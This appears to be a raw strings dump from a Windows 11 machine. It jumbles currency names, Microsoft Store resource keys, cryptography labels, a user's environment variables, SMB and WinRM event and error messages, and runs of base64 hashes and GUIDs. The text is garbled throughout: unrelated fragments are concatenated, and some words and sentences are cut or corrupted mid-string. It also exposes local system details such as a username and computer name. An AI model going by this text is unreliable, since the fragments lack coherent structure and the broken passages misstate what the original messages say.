Tala samoano Xelim somali afgani afgan albanske lek armensk dram aruba-florin barmsk kyat britisk pund bulgarsk lev cedi ghanese chilski peso chinski yuan corona checa dinar Serbia dinar croata dinar iraqu dinar libian dracma greca dram Armenia dram armenio escudo Chile ting gam r algeri onian kroon Finnish Markka Finnish markka Greek drachmas Israeli pounds Latvian rubles Malagasy franc Maltese pounds Moldovan Cupon Moroccan Franc Moroccan franc Peruvian intis Slovak korunas Soviet roubles Spanish Peseta Spanish peseta Andorran Peseta Bolivian mvdols Chilean escudos Croatian dinars Estonian kroons Finnish markkas Malagasy francs Moroccan francs Spanish pesetas Timorese Escudo East German Mark East German mark Andorran pesetas Ecuadorian Sucre Ecuadorian sucre French UIC-Franc French UIC-franc Monegasque Franc Monegasque franc RINET Funds unit Rhodesian Dollar Rhodesian dollar Salvadoran Col Salvadoran col Slovenian tolars Timorese escudos Unknown Currency East German marks Argentine austral var Soberanos Ecuadorian sucres French Gold Franc French UIC-francs French gold franc Monegasque francs Mozambican Escudo Mozambican escudo Portuguese Escudo Portuguese escudo RINET Funds units Rhodesian dollars Tajikistani Ruble Tajikistani ruble Argentine australs Austrian Schilling Austrian schilling Bulgarian Hard Lev Bulgarian hard lev French gold francs Lithuanian talonas Mozambican escudos Polish zloty (PLZ) Portuguese escudos Salvadoran colones Surinamese Guilder Surinamese guilder Tajikistani rubles troy ounce of gold ADB Unit of Account ADB unit of account Austrian schillings Bulgarian hard leva Guinea-Bissau pesos Luxembourgian Franc Luxembourgian franc Polish zlotys (PLZ) Surinamese guilders troy ounces of gold ADB units of account Georgian Kupon Larit Georgian kupon larit Lithuanian talonases Luxembourgian francs US Dollar (Next day) US Dollar (Same day) US dollar (next day) US dollar (same day) troy ounce of silver Georgian kupon larits Testing Currency Code Testing Currency unit US dollars (next day) US dollars (same day) Ukrainian Karbovanets Ukrainian karbovanets troy ounces of silver special drawing rights European Monetary Unit European currency unit European monetary unit Testing Currency units Ukrainian karbovantsiv troy ounce of platinum Bulgarian Socialist Lev Bulgarian socialis nvertible Dinar (1990 1992) Yugoslavian convertible dinar (1990 1992) Yugoslavian convertible dinars (1990 1992) stCriticalReview MostCriticalReviewText MostFavorableReview MostFavorableReviewText MostHelpfulReviews MostRecentAward MoveRangeRatio MoveSpeed MoveToFrontOfDownloadQueue/Text MoveWindowTopMostAsync Moved Permanently MovieCard MovieRentalDisclaimer MovieSizeTitle MovieSizeTitle/Text Movies MoviesAnywhereLink MoviesAnywherePromoButton MoviesShimmerDataTemplate MoviesTileDataTemplate Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77 MicrosoftStore/ MsEdge MsEdgeExtensionMessagePwaInstalled MsEdgeExtensionMessagePwaNotInstalled MsaSignInButton MsaSignInButtonShown MsaSignInItem_OnClick MsaSignOutButton MsaSignOutButtonShown MsaUserItemSignoutRequested MsixQueue MsixQueueCount MsixQueueVisible Msty Muid Multi-Player Online Battle Arena Multi-Status MultiDim_Of_This_Rank_Not_Supported MultiRow MultiRowLandscapePoster MultiScreenShotsPanelModule MultiScreenshot MultiScreenshots MultiScreenshotsFeaturedListPanelLayout MultiSelectionEnabled Multimedia design Multiple Choices Multiple packages returned for package ID MultipleActiveRenewableEntitlementFound MultipleAddressesAndNoDefault MultipleAppsPDP MultipleCtorsFound MultipleCtorsFoundWithBestLength MultipleCtorsMarkedWithAttribute MultipleMembersBindWithConstructorParameter MultipleMsaDeviceTokensInAuthorizationHeader MultiplePurcha Stac en-US Event Log Event Log Event Log Enabled Channels Enabled Channels Enabled Channels WEVT RPC calls/sec WEVT (WAN Miniport (PPPOE) IP- dapt nistP192nistP224nistP256nistP384nistP521 CSHAKE12SHAKE128CSHAKE25SHAKE256 SHA3-512SHA3-384SHA3-256 SHA3-256SHA3-384SHA3-512CSHAKE12SHAKE128CSHAKE25SHAKE256 [Private Key St Provider Name:er type: Key Sp Key Container Unique Key Container N Hardware Devic Remova Protec> [Subject[Issuer][Serial [Not Bef[Not Aft[Thumbpr[Version[SubjectSimple NEmail NaUPN NameDNS Name[Issuer][Serial [Not Bef[Not Aft[Thumbpr[Signature Algor2.5.29.1.5.29.10 .5.29.192.5.29.3.5.29.37.5.29.17.5.29.15.5.29.35.5.29.14n 1.3.14.34.3.2.26 LineNum | BytePositionI | LineN | BytePositionI | LineN | BytePositionI 0:AGa 0:AGag 0:A[a 0:A[a{ 0:A[_A[_`a{ 0:A[_ 0:A[_A[_`a{ ol\Terminal Server Enlightened Idle systemManagement terminalPowerManagement InvalidDisplayStateTransition ID_CAP_SCREENOFF RequestQueue Power Button Fixed Timer Override Predicted User Presence Doze to Hibernate Presumed Timer Timer Sleep Button \hiberfil.sys MultiPhaseResumeDisabled HybridBootAnimationTime MaxHuffRatio hiber_ SECURITY_VERSION_NUMBER OS_RELEASE_VERSION \EFI\Microsoft\Boot\boot.stl HiberIoCpuTime KernelResumeIoCpuTime passive active ResumeCompleteTimestamp \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon LastLogOffEndTimePerfCounter %lld \Registry\MACHINE\SYSTEM\CurrentControlSet\Control WinRT WinRTExposedTypeAttribute System Type System Runtime InteropServices WindowsRuntime WindowsRuntimeBufferWinRTTypeDetails \\\\\\\\ \\\\ \\\\\\\\\\\\ \\t\ \\\\\\\\ (((((((( nature file when the code integrity file is present. The Appx package's manifest is invalid. The Appx package's block map is invalid. The Appx package's content cannot be read because it is corrupt. The computed hash value of the block does not match the one stored in the block map. The requested byte range is over 4GB when translated to byte range of blocks. The SIP_SUBJECTINFO structure used to sign the package didn't contain the required data. The APPX_KEY_INFO structure used to encrypt or decrypt the package contains invalid data. The Appx package's content group map is invalid. The .appinstaller file is invalid. The baseline package version in delta package does not match the version in the baseline package to be updated. The delta package is missing a file from the updated package. The delta package is invalid. The delta appended package is not allowed for the current operation. The packaging layout file is invalid. The packageSignConfig file is invalid. The resources.pri file is not allowed when there are no resource elements in the package manifest. The compression state of file in baseline and updated package does not match. Non appx extensions are not allowed for payload packages targeting older platforms. The encryptionExclusionFileList file is invalid. The package folder ACLs are invalid. The publisher bridging artifact is invalid. The expected digest value did not match the actual digest value of the content. The background task activation is spurious. Bad UID. Bad Hash. Bad Key. Bad Length. Bad Data. Invalid Signature. Bad Version of provider. Invalid algorithm specified. Invalid flags specified. Invalid type specified. Key not valid for use in specified state. Hash not valid for use in specified state. Key does not exist. Insufficient memory available for the operation. Object already exists. Access denied. Object was n Set Shadow B-Tree Operation Total Duration: [%52, %53, %54, %55, %56, %57, %58, %59, %60, %61, %62, %63, %64, %65, %66]%n%n Clear Shadow B-Tree Operation Counts: [%67, %68, %69, %70, %71, %72, %73, %74, %75, %76, %77, %78, %79, %80, %81]%n Clear Shadow B-Tree Operation Total Duration: [%82, %83, %84, %85, %86, %87, %88, %89, %90, %91, %92, %93, %94, %95, %96] The ReFS volume has been successfully mounted.%n%n VCB Address: %1%n Volume GUID: %2%n Device Name: %4%n Volume Name: %6%n%n Device GUID: %7%n Vendor ID: %9%n Product ID: %11%n Product Revision: %13%n Device Serial Number: %15%n Bus Type: %16%n Device Number: %17%n Boot Volume: %18%n Cluster Size Bytes: %19%n Volume Size Bytes: %20%n Free Space Bytes: %21%n Redo Log LCN Count: %22%n Logical Sector Size Bytes: %23%n Physical Sector Size Bytes: %24%n Actual Physical Sector Size Bytes: %25%n Major Version: %26%n Minor Version: %27%n Number of Physical Copies: %28%n Number of Logical Copies: %29%n Volume ID for Heat: %30%n Root Integrity Stream Checksum Type: %31%n Volume State: %32%n USN Size: %33%n Security Descriptor Stream Size: %34%n Mount Duration (microseconds): %35%n Debug Version: %36%n Debugger Enabled: %37%n SSD Windows.System.User Service-0x0-3e7$\Default TA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS \Registry\Machine\Software\Classes\WOW6432Node\CLSID\{A463FCB9-6B1C-4E0D-A80B-A2CA7999E25D} \Registry\Machine\Software\Classes\WOW6432Node\CLSID\{A463FCB9-6B1C-4E0D-A80B-A2CA7999E25D} nt %1 Socket %2 SendBuffer %3 SendLength %4 Status %5 SMB session expired: SessionEntry %1 ServerName %3 SMB 3 part SPN reauth: SessionEntry %1 ServiceName %3 SMB reconnect durable open: Fcb %1 SrvOpen %2 SMB defer open: Fcb %1 SrvOpen %2 SMB undefer open: Fcb %1 SrvOpen %2 SMB send[%1]: [%2] (Mid/Sid/Tid) (%3/%4/%5) MidCharge %6 Creds %7 SendLengh %8 VcEndpoint %9 SMB receive: [%1] (Mid/Sid/Tid) (%2/%4/%5) Creds %6 Status %7 VcEndpoint %8 SMB receive interim: [%1] (Mid/AsyncId/Sid/Tid) (%2/%3/%4/%5) Creds %6 Status %7 VcEndpoint %8 SMB receive async: [%1] (AsyncId/Sid/Tid) (%3/%4/%5) Creds %6 Status %7 VcEndpoint %8 SMB registry key: %1 = %2 SMB update file info cache: RxContext %1 Fcb %2 FileName %4 SMB fetch file info cache: RxContext %1 Fcb %2 FileName %4 Status %5 SMB invalidate file info cache: RxContext %1 Fcb %2 FileName %4 SMB update file not found cache: RxContext %1 Fcb %2 FileName %4 SMB fetch file not found cache: RxContext %1 Fcb %2 FileName %4 Result %5 SMB invalidate file not found cache: RxContext %1 Fcb %2 FileName %4 SMB populate dir cache: RxContext %1 Fcb %2 DirName %4 SMB fetch dir cache: RxContext %1 Fcb %2 FileName %4 Status %5 Session %1 to %6 transitioned from [%2] to [%3] with Status %4 Share connection %1 to %6 transitioned from [%2] to [%3] with Status %4 Open handle %1 to %10%12 transitioned from [%5] to [%6] with Status %7 The local computer didn't received an SMB1 negotiate response in the last 20 minutes.n%nGuidance:%n%nThis event indicates that no attempt was made to contact this computer via the SMB1 protocol. After %1 online days of no SMB1 contact attempts, the SMB1 Client service will automatically uninstall. Failed to open a persistent handle.%n%nError: %7%n%nFileId: %2:%3%nCreateGUID: %4%nPath: %10%12%n%nReason: %8%n%nGuidance:%nA persistent handle allows transparent failover on Windows File Server clusters. This event has many causes and does not always indicate an issue &switch and router on the RoCE network. Failure to properly configure PFC will cause packet loss, frequent disconnects and poor performance. A request timed out because there was no response from the server.%n%nServer name: %6%nSession ID:%3%nTree ID:%4%nMessage ID:%2%nCommand: %1%nInstance Name: %9%nRetryCount: %10%nElapsedTime(ms): %11%n%nGuidance:%nThe server is responding over TCP but not over SMB. Ensure the Server service is running and responsive, and the disks do not have high per-IO latency, which makes the disks appear unresponsive to SMB. Also, ensure the server is responsive overall and not paused; for instance, make sure you can log on to it. Added a TCP/IP transport interface.%n%nName: %2%nInterfaceIndex: %3%n%nGuidance:%nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required. Deleted a TCP/IP transport interface.%n%nName: %2%nInterfaceIndex: %3%n%nGuidance:%nA TCP/IP binding was removed from the specified network adapter for the SMB client. You should expect this event when a computer shuts down or when a previously enabled network adaptor is disabled. No user action is required. Added a TDI transport interface.%n%nName: %2%n%nGuidance:%nA TDI (NetBIOS) binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TDI. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required. Deleted a TDI transport interface.%n%nName: %2%n%nGuidance:%nA TDI (NetBIOS) binding was removed from the specified network adapter for the SMB client. You should expect this event when a computer shuts down or when a previously enabled network adaptor is disabled. No user action is required. Witness registration has completed.%n%nStatus: %1%n%nCluster share name: %4%nCluster share type: %2%nFile server cluster address: %6!S!%n%nGuidance:%nThe client successfully registered with the SMB Witness through RPC using TCP (port 135, then an endpoint port above 1023). No action is required. Witness deregistration has completed.%n%nStatus: %1%n%nCluster share name: %4%nCluster share type: %2%n%nGuidance:%nThe client successfully de-registered with the SMB Witness through RPC using TCP (port 135, then an endpoint port above 1023). No action is required. The server failed the negotiate request.%n%nError: %2%n%nServer name: %4%n%nGuidance:%nThe server does not support any dialect that the client is trying to negotiate, such as the client has SMB2/SMB3 disabled and the server has SMB1 disabled. Close request failed.%n%nError: %2%n%nPath: %4%6%n%nGuidance:%nA persistent handle (Continuous Availability) or a resilient handle failed to close. RDMA interfaces are available but the client failed to connect to the server over RDMA transport.%n%nServer name: %2%n%nGuidance:%nBoth client and server have RDMA (SMB Direct) adaptors but there was a problem with the connection and the client had to fall back to using TCP/IP SMB (non-RDMA). Failed to establish an SMB multichannel network connection.%n%nError: %2%n%nServer name: %4%nServer address: %6!S!%nClient address: %7!S!%nInstance name: %9%nConnection type: %10%n%nGuidance:%nThis indicates a problem with the underlying network or transport, such as with TCP/IP or QUIC/UDP, and not with SMB. A firewall that blocks TCP port 445 or UDP port 443 or TCP port 5445 when using an iWARP RDMA adapter can also cause this issue. Since the error occurred while trying to connect extra channels, it will not result in an application error. This event is for diagnostics only. The SMB negotiate response processing failed on the client to determine the selected encryption cipher for the client and server. Please ensure there is a common cipher bet \ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID=8068 EDGE_CRASHPAD_PIPE_NAME=\\.\pipe\LOCAL\crashpad_8068_ANSCZZIXNRYFMDCA EDGE_METRICS_CLIENT_ID_HASH=3806562852414400310 EDGE_METRICS_SESSION_ID=8 EDGE_USER_DATA_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView EDGE_WEBVIEW_PREFETCH_HOSTED_APP=/pfhostedapp:a558757a2a6beecd631aec818273c1c2997db5cf HOMEDRIVE=C: HOMEPATH=\Users\job IS_EDGE_WEBVIEW=1 LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)" --enable-features=msEdgeFluentOverlayScrollbar WEBVIEW2_DEFAULT_BACKGROUND_COLOR=00000000 windir=C:\WINDOWS Windows.System.Internal.UserManager WinSta0\Default ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID=8068 EDGE_CRASHPAD_PIPE_NAME=\\.\pipe\LOCAL\crashpad_8068_ANSCZZIXNRYFMDCA EDGE_METRICS_CLIENT_ID_HASH=3806562852414400310 EDGE_METRICS_SESSION_ID=8 EDGE_USER_DATA_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView EDGE_WEBVIEW_PREFETCH_HOSTED_APP=/pfhostedapp:a558757a2a6beecd631aec818273c1c2997db5cf HOMEDRIVE=C: HOMEPATH=\Users\job IS_EDGE_WEBVIEW=1 LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrivd.%n%nFrequent, unexpected disconnects when using an RDMA over Converged Ethernet (RoCE) adapter may indicate a network misconfiguration. RoCE requires Priority Flow Control (PFC) to be configured for every host, switch and router on the RoCE network. Failure to properly configure PFC will cause packet loss, frequent disconnects and poor performance. The client lost its session to the server.%n%nError: %1%n%nServer name: %5%nSession ID: %2%n%nGuidance:%nIf the server is a Windows Failover Cluster file server, then this message occurs when the file share moves between cluster nodes. There should also be an anti-event 30806 indicating the session to the server was re-established. If the server is not a failover cluster, it is likely that the server was previously online, but it is now inaccessible over the network. The client re-established its session to the server.%n%nServer name: %5%nServer address: %7!S!%nSession ID: %2%n%nGuidance:%nYou should expect this event if there was a previous event 30805, but the client successfully resumed the cached connection before the timeout expired. The connection to the share was lost.%n%nError: %1%n%nShare name: %5%nSession ID: %2%nTree ID: %3%n%nGuidance:%nIf the server is a Windows Failover Cluster file server, then this message occurs when the file share moves between cluster nodes. There should also be an anti-event 30808 indicating the session to the server was re-established. If the server is not a failover cluster, it is likely that the server was previously online, but it is now inaccessible over the network. The connection to the share was re-established.%n%nShare name: %5%nServer address: %7!S!%nSession ID: %2%nTree ID: %3%n%nGuidance:%nYou should expect this event if there was a previous event 30807, but the client successfully resumed the cached connection before the timeout expired. The SMB client received a request to move to a different node on a file server cluster.%n%nFile server cluster name: %4%nNew file server cluster address: %6!S!%n%nGuidance:%nContinuous Availability (Transparent Failover) is in use and the client computer is going to move to a different node after an SMB witness request over RPC using TCP (first contacting port 135, then contacting an endpoint port above 1023). No user action is required. The SMB client successfully moved to a different node on a file server cluster.%n%nFile server cluster name: %4%n New file server cluster address: %6!S!%n%nGuidance:%nContinuous Availability (Transparent Failover) is in use and the client computer successfully moved to a different node after an SMB witness request over RPC using TCP (first contacting port 135, then contacting an endpoint port above 1023). No user action is required. The SMB client failed to move to a different node on a file server cluster.%n%nError: %1%n%nFile server clus name: %4%n%nGuid ty (Transparent Fail failedL o move to a different node after SMB witnes/ request over RPC using TCP (first contacting port 135, then contacting an endpoint port above 1023). The attempt to connect to the desti erve iled, which is typically due to a networ nfig ation issue. For example, this issue may occur the twor nam %9%n e:%nThis indicates a blem wit s field can also se t e trying to ect n an app tion error. This eve The connection was termi d due to one or moreata\Local\Te E=Wi svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe dwm.exe svchost.exe ost.exe StartMenuExperienceHost.exe WidgetBoard.exe RuntimeBroker.exe 55c92734-d682-4d71-983e-d6ec3f16059f 55c92734-d682-4d71-983e-d6ec3f16059f R2AuWUhUQMX19GNzgz1sQH8VgSee0/R9Rji9UBWk/qQ= 0ce4613d-1a94-4d7c-8b26-7558c3c28b00 R2YG//tyvOc/VsAZ9QzVEZF54VKECMm6ly8yv1xM3gE= R3x6Amy929rK9LlNeti1jz6JQ7I3wi7cS0rBG2v6Y/o= R50cozLCmiEE8ZWC4yF9GUTvi3uJcDIvCBAvrwvtxMs= R9rpUyuyXZCmbIQrNZUXf2VyvtOIqnte+yr292dcs78= RAvDCr6HUy9gm6xNqKnWPgFtWV3qh6S4Ida9XDJa9Rk= RGnpAiaB9oGgWRDiScfl/KT5zJhRNaZvE0Vl9O3kBo4= RGzHFF4+NOUNFuHOro61H6fAp84DukorsG//+QMUdm8= RMJGYjdSzilCkp8LPRqrcwYMHvkB8MIxTO9BrBX0UtA= ROy4k5sKmDmHHtmjycU2tMWfV8rCHWMUjMiagjV6Uec= 3c40a285-2469-ae8d-e740-6be881cd3eb6 3c40a285-2469-ae8d-e740-6be881cd3eb6 RRC+flHEvSyhBCxGMHabRO+bJ4aL/rqY06sp2DGOP6s= RbFzfqKpOZo0uX/Jlv2LA1i9kG/endoMSrfa2314LwM= 463c131e-dec7-4ac4-a951-53027ecb8142 Rc+NVoH8JVN4p/cBUlzswV+8Wslh9PY155eW37ZMj/c= RdS7KtZ5nuu0BgLrvoDFxgk9vjasiQitz99N0h1kOtk= RmIOkiLyiNprWyt5WykWw9VEOt9YfxcHRpYwXYtxv4Q= 24d17948-379f-4635-9b9b-b548b26b4a98 RsUE02aGdO6QK/yMHPR8U0XiKAbbN/oKGpBW7FpvqU4= Rsh+iXtaosYABpn0Wwhn8kEkBgLuEnjG2dk6NmfPUDQ= ce0d372c-b0d1-4c39-af16-32bde261c6b7 ce0d372c-b0d1-4c39-af16-32bde261c6b7 Ru80J48g2tIQHIyyhdmgN3zBKEt00hlkZwACMaB557c= IoTEnterpriseK RuKf/wI1cPKYVWrMQ9cwwqAp9HTmCw5i/9B5xzWhSu4= S4Mrjn6e+82lRBkv4e5+wkkX95XGRgo1mh6qXWXj9mY= 0-40b8-9b71-bb4db275a96f 499762ae-7b60-40b8-9b71-bb4db275a96f PoOHTy2Vlmq8SzcjserME5tBAJc91uYkI+CItNaRyGc= a1e36937-c99e-4df4-8c2e-7758490de0d7 a1e36937-c99e-4df4-8c2e-7758490de0d7 PrNZ0b97YaQObXZOiyvfuppChwQu93NsbkCHg0Aneps= PxJo0IlxHryNrk+Zdl891on/6H4R6gyupaAm4uMwRAU= Q+lUE722s7zVaCfdh0eujsaOlZszFUGYNR+6kH71Obw= ec868e65-fadf-4759-b23e-93fe37f2cc29 Q3yo7gv8f6guuo6EYzEpj5enNWQwcIlbBtGi1EWrjqk= QAGFLhMDqs6IziA34VoyOxFFnLJ+Rb5UKZ66tl4d/p8= QE0Yrh3DtHf9fUgh94T1pcR5CiAjWZTxPSwvYkBwEtk= QF9GKbN+D4fWXPfDgxagXGpVUtuTt9ayi8q0WlsEr7s= d3924eff-1385-40e1-9286-be98d634d224 QIOcmwupFwYZ4/UwWHimrWg2L2u8ks6i75og7fVB7aI= c69c2c93-060d-474a-90b9-c7e40129c7cd c69c2c93-060d-474a-90b9-c7e40129c7cd QO/F6bsSEhX3V0r3A/540qsdBLfNprpnDhW7hV0PHNs= QSIDhKxdh5Lh0GUwj0vKT132XupY2Qsn/qItgeS+D0w= 55c92734-d682-4d71-983e-d6ec3f16059f 55c92734-d682-4d71-983e-d6ec3f16059f QaTD8eUTOvCBExMZUfXTkwJLwSsskQgiNfKVmeZGYF4= 2de67392-b7a7-462a-b1ca-108dd189f588 Qc3kaaJJEL0amRWvZXKbPNNm5YmPv9jO7RR3gv5B0Tg= QfKir/mBe0U8VoTn0tBA/Ba8r3sWg8cY656ogNlnhHE= QgRw5C1VBfMXO1OeYlBcA5CXED/w1UKfJV5J6WNJdT0= QiWqkdByjxBEw1A2Zi0LPb+fbfo1AbZh4w8m5KUtxJc= Qlna2j3P8PR04fsWRq+zibleZgWmHoTht9BtWXjRj0o= Qm6v/IrpVswh2YKwZsQMeXhPlCf6p1j0TWTv/2ENgfc= 55c92734-d682-4d71-983e-d6ec3f16059f 55c92734-d682-4d71-983e-d6ec3f16059f authentication mechanism that is allowed by the updated configuration. The WinRM client cannot process the request. The authentication mechanism requested by the client is not supported by the server or unencrypted traffic is disabled in the service configuration. Verify the unencrypted traffic setting in the service configuration or specify one of the authentication mechanisms supported by the server. To use Kerberos, specify the computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain. To use Basic, specify the computer name as the remote destination, specify Basic authentication and provide user name and password. Possible authentication mechanisms reported by server: %1 %2 %3 %4 %5 The WinRM client cannot process the request. The destination computer (%1:%2!d!) returned an 'access denied' error. Specify one of the authentication mechanisms supported by the server. If Kerberos mechanism is used, verify that the client computer and the destination computer are joined to a domain. Possible authentication mechanisms reported by server: %3 %4 %5 %6 %7 The WinRM client cannot process the request. The WinRM client tried to use %1 authentication mechanism, but the destination computer (%2:%3!d!) returned an 'access denied' error. Change the configuration to allow %1 authentication mechanism to be used or specify one of the authentication mechanisms supported by the server. To use Kerberos, specify the local computer name as the remote destination. Also verify that the client computer and the destination computer are joined to a domain. To use Basic, specify the local computer name as the remote destination, specify Basic authentication and provide user name and password. Possible authentication mechanisms reported by server: %4 %5 %6 %7 %8 The WS-Management service cannot process the request. The WS-Eventing NotifyTo element might be missing from the WS-Eventing Delivery section or it might be invalid. It might b H/pk8OqF3H31qkRYYLBtFTQ= 8LqG/7g0oKrixk5SVjA7WCYhqHlNeRbmm2TAfOLxNSg= 8QYO3qo7peqlW5Ie8KjA7lBQKWlQDR1gtTQQ3a4kt8g= 8RlRtTtrV1pGjgyuJ4bncCXQcjbCmdGBwOKelGiNknQ= 8TRdZyW9UY1oo9lMX/rNZsgwxGeSD3xk7+PcwCCvLxQ= 8ecJbT57WyGzBZenYKFUvQiNESss7kTNNlprdbkqAuw= 613d217f-7f13-4268-9907-1662339531cd 8p0F6PDtyooW79Dwf6wpX+6VJqWQTL3bLACT6rtTiXE= fa40424f-3b6d-4b48-9475-b20abd9f4942 fa40424f-3b6d-4b48-9475-b20abd9f4942 8pEhqzbl11TFMT/YxZ9ss5stvGu90E7WxwOZFuNdBDA= 8t9Y/4w27JWSldRwRI1G+7W0boynyo2ctHa00ysAvdE= 53e8cffd-dfd2-46a1-acee-f288f67f9c03 8tufW3Xng64vpKNFvlhrTzrCGZQLkkxGDcgQrNUx4f4= 8umo3E73SX/dM9Aiq8Sl5TYn6A2MJ/xbQPNu99WqvhM= 8vQLHrUbDiPedlLEGV95yQynrwhs6MV3dHnOAUHonms= 8zyGEESlitV8oiYM7yWbQipuA7hcEaBoVkkqWDHdoQs= 55c92734-d682-4d71-983e-d6ec3f16059f 55c92734-d682-4d71-983e-d6ec3f16059f 96NBj7SUi7ROJP7FZrl15cEpkD2vFugpppwlWleVHvk= 97a7HNigwESOvNybvj2tZOdnm6ZSedr0BlJNVZASOwQ= 98DUw6+FiSLrZT9cEKB3L1zk2S8jiCi8J+UViuHmhBw= 9BcVi38NvbLkdP3b4/AZy717uGD+Dpxj+fFq1OuVIoM= 9DkHaPAw7YiI5AZ964Q1MPuNmbD18r7C+3LKozFhVYE= 9ECA6rfEArWHgpbjSucAxPxqyQSQzGDFoR57UUmqNIg= 9JC6aMuh/Wc4fQTOPeF985unMAknf/NTbLCS+6MVIew= 9TZOoQbPlvaym4vE3rgHQ0m1wvidmSZzM4B8YiHhSpI= 9ThZ/3A7UrEHymKbmo3qrlV3ERr8iouYxyAqzurwXnY= kYtWZR64L1E= IoTEnterpriseK 2Sx3GWRGu+9s9tk3+Zw/DttHXDvgxdJ0iL5IHVswuik= eea16f1c-1f48-40be-a11e-65ab39c0f631 2UXLj5+DbO+M6twb0/Z+Dd4kjTmEHeG9W2FYCBgRrAg= 2W2a2XqNAX+iYESAEBP0JY3WaBQ+3t+YK9fu0bKJHfw= 